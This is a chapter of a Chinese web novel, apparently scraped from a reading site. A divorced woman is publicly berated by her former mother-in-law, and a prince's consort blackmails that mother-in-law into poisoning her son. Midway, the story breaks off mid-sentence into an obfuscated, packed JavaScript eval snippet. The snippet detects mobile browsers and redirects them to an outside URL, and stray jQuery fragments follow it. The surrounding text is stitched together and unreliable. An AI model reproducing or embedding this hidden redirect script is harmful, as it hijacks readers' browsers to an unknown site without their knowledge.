23. 委屈

作品:《和离后被前夫强取豪夺

    原来萧永贺被刺杀,好些天没有回侯府,严氏心急如焚,她可只有这么一个儿子。


    她听人说,都是因为宋清音,儿子才惹上了麻烦,差点被杀的,还听说宋清音在东都司街开着一间铺子,立时就带着汤婆子来了。


    一见宋清音进来,严氏就一拍桌子,怒斥道:“都是你这个溅妇!和离了还不消停,惹事生非,差点害了我儿的性命!”


    店里客人不少,一看有热闹可看,都悄悄地看了过来。


    周宜滨立马挡在宋清音身前:“老夫人,话可不要乱讲,萧世子遇刺的事儿,跟我表妹没半分关系。”


    “哼!”严氏冷声道,“当我不知道呢,都是她,勾了肃王侧妃的弟弟,又巴着我儿不放,才引得两人大打出手。”


    “老夫人,请慎言。”宋清音再忍不住了,“您并没有看到当时的形,怎能听了两句闲话,就随意污蔑他人呢?”


    “哎哟,大伙都看看啊!”严氏看店里不少人围观,就大声说道,“这就是我的好儿媳,婆婆说一句,她能顶十句!”


    店里的客人都围了过来,店外也有不少人停下来看,宋清音只觉丢人极了,她深吸一口气,道:“老夫人,我看您年纪大,称您一声老夫人,请您明白,我如今已经不是您的儿媳了。我与萧……世子已经和离了。我知道您瞧不上我,如今也算如了您的意。请您以后不要再来打扰我。世子遇刺的事,与我无关。”


    “我不信,分明就是因为你。”严氏道。


    周宜滨:“老夫人,世子的事,圣上已经派禁卫查清了,事关朝堂,恕我不能在此明说。老夫人也可回家问世子。还请老夫人不要再为难我表妹。表妹她再怎么说,也曾救过世子的命。做为婆母,您不喜欢她,她也如您的愿,与世子和离了。您何必又追到这里羞辱她呢?”


    周围人听了这话,不知内情的问怎么回事,也有知道宣宁侯府的事儿的,悄悄说了,大伙在一旁议论,都说严氏恩将仇报,故意磋磨儿媳。


    严氏气坏了,指着周宜滨道:“你少在这儿胡说,老身可没逼她和离,是她自己妒忌,容不下人。”


    她又冲着周围人道:“你们说,我儿堂堂宣宁侯世子,纳个妾怎么了?她可好,拦着不让也就罢了,怀了侯府子嗣的人,她也不许进门!”


    她正说着,突然门外挤进来一个人:“姑母,您怎么来这儿了,快回家吧,表哥回来了。”


    是严若芳。


    严氏忙道:“这么多人,你来做什么?看动了胎气。”


    严若芳低头,抚了一下肚子:“不碍事的,大夫说了,要适当动动。”


    她又冲宋清音行了个礼:“清音姐姐,我替姑母给您赔个不是。她老人家也是太过担心表哥了。”


    宋清音看着严若芳与严氏姑慈侄孝的样子,不像是萧永贺说的,孩子不是他的。严氏要知道严若芳骗她,早该把她赶出侯府了。


    难道是萧永贺骗她?只为哄她回去?


    宋清音越想越气,都没顾上回严若芳的话。


    严若芳得意地撇了一嘴。


    严氏则拉了严若芳,瞪眼道:“干嘛向她道歉?你就是性子太和软了。”


    又对宋清音道:“今儿没工夫与你计较,以后,不许你再缠着贺儿!”


    宋清音又生气又委屈,她咬牙道:“放心!萧永贺再来纠缠,我一眼都不会看他!”


    严氏哼了一声,由汤婆子扶着,跟严若芳走了。


    宋清音回到铺子后院,想着严氏骂她的那些话,想着严若芳得意的神情,还有旁人的议论,越想越气,越想越恨。


    萧永贺竟然骗她!


    想着想着,不由得流下了眼泪。


    周宜滨拿出自己的帕子,递给宋清音,温声安慰道:“表妹,别难过了,好在我们已经与他和离了。以后你再寻个如意郎君,看那严老夫人还怎么说嘴。”


    宋清音没接他的帕子,只拿袖子胡乱擦了一下:“表哥,我没事,我就是一时气不过。那个,我去里屋看帐本去,表哥到前边选料子吧。”


    说完,她进里屋关上了门。她要一个人静一静。


    萧永贺这些天都住在禁卫军中,皇帝强调一定要保证他的安全,禁卫统领怕他出事,索性让他住在了军中。


    如今案子查清了,端王余孽也抓.住了,他这才回了侯府。


    不想母亲却不在家,说是去街上了。他心中奇怪,母亲这些日子托人往禁卫军传了好几次话,说想要见他,却没见上。今儿怎么有闲心逛去了?


    严氏是由严若芳陪着回来的。说是老夫人本想去庙里祈福,没想到走到半路,听说儿子回来了,这才赶忙返回。


    严氏担忧地问儿子这些天在禁卫军中过得怎么样,可吃得好,睡得好?又问他案子查得怎么样,到底是谁干的。


    萧永贺一一答了,待严氏听到刺杀儿子的是端王余孽,只为挑拨宣宁侯与圣上的关系时,她沉默了一下,心中嘀咕,难道真不是因为那个溅女人?


    严氏看着儿子,道:“你这些日子也累了,赶紧回去歇一歇吧。若芳,你去送送你表哥。”


    刚才严若芳一直站在严氏身旁,端茶递水,严氏还叫她坐,不要老站着。


    萧永贺一看就知道,严若芳肯定还没跟母亲坦白。他本想当场质问,又担心母亲刚刚受了一场惊吓,这时候再揭出严若芳的事,会不会气出病来,就忍了下来。


    严若芳跟着他出了延瑞院,萧永贺停下了步子。


    “说吧,你准备何时跟母亲说?”


    严若芳盈盈一拜:“表哥,那天我本打算与姑母说的,结果却出了你遇刺的事,姑母整日提心吊胆的,我哪里还敢再提这事……表哥,再过两天,等姑母平静些。”


    萧永贺懒得再理她:“记住你说的话。”说完拂袖而去。


    却说肃王侧妃周昕玉,派人到宣宁侯府附近悄悄守了几日,始终不见严氏出门。


    事情不能再等了。恰好兵部刘尚书的夫人生辰,刘夫人与她交好,她就让刘夫人把严氏加入了宴请的名单中。


    到了那天,她也没有刻意去见严氏,只是叫几个婆子闲说话,故意叫严氏听到。


    婆子说最近事多,或是有过血光之灾,要到庙里去拜一拜,请神佛保佑,以后才会否极泰来,平平安安。


    严氏一下子听住了,第二天就去了崇华寺上香。


    守在宣宁侯府附近的下人汇报后,周侧妃也不着急,到下午才去了寺里。


    在她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569344|170487||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的安排下,很快严氏就与她“巧遇”了。


    周侧妃笑道:“今儿真是巧了,竟然遇到了严老夫人。因为萧世子的事,王爷一直怕老夫人误会,今儿我可得好好替王爷解释解释。”


    严氏忙道不敢。


    周侧妃不由分说,引着她到了一处僻静的禅房,屏退了下人,然后,突然冷了脸。


    “严氏!你好大的胆子!”


    严氏有些茫然。她虽说品级上比王府侧妃低了一级,但她毕竟年岁大了,周侧妃怎能如此斥责她?


    肃王如今在皇子中势力最大,也是最得圣上看重的,以后他要是继了位,那这位周侧妃可就是贵妃娘娘了。严氏不敢托大,忙陪着笑脸问:“侧妃娘娘,不知臣妇哪里做得不好?”


    “不好?你做得很好,太好了!”周昕玉微微低头,凑到严氏耳旁,冷声道:“我问你,世子他,真的是你的亲儿子吗?”


    这一刹那,严氏如同被一条冰冷的毒蛇缠住了一般,身子僵硬,一动都动不了。


    “我,我……”她嗫糯着,一句话都说不出来,同时心中巨震,周侧妃,她怎么知道的?当年的事,就只有她、汤红英,还有奶娘知道。


    周昕玉端起茶来,慢慢地喝着,一边欣赏着严氏苍白的脸还有颤抖的身子。


    “娘娘,您,您可不能乱说。”严氏终于回过了神,还想垂死挣扎。


    周昕玉嗤笑一声:“你说,要是把这事儿告诉宣宁侯,他会怎么样?”


    严氏彻底崩溃了,她扑通一声跪在了周昕玉.面前:“求娘娘开恩,求娘娘开恩,只要娘娘不告诉侯爷,娘娘要什么都行,银子、铺子、田地……我都给娘娘。”


    “哎——”周昕玉叹息一声,上前去扶严氏:“我要你这些做什么?严夫人别怕,我今儿是来救你的。”


    “救我的?”严氏满脸是泪,看着周昕玉。


    “没错,”周昕玉问,“你可知,萧世子是谁的儿子?”


    严氏摇摇头,她哪里知道,当时在一个破庙里,机缘巧合下换的孩子。后来那人早就不知所综了。


    “那可是废太子的儿子!”


    “什么?废太子?”严氏被惊得都要麻木了。


    “你说,要是叫皇上知道你们宣宁侯府窝藏谋逆之人的儿子,会怎么样?”周昕玉直视着严氏的眼睛,“那是要满门抄斩,株连九族的!”


    至此,严氏已经被吓得六神无主了。


    “我不知道,我不知道他是废,废太子的儿子啊……这可怎么办?”


    周昕玉将严氏按到座椅上:“我有法子,只要你按我说的做,保你无事。”


    “好,好……我都听娘娘的。”


    周昕玉走到门口,向外望了望,确保四处无人,这才神神秘秘地从袖中掏出一个纸包,递给严氏。


    “这是西方的一种奇药,无色无味,你只要下到世子的饭菜或茶水中,就能让他生病,过个十天半月的,人就会……你就再也不用担心了。”


    “这,这……”严氏的手颤抖着,“我不能……他毕竟是我的……”


    周昕玉沉下了脸:“能不能的,你自己看着办!宣宁侯府是死是活,就看你一念之间了。”


    说完,她起身走了出去。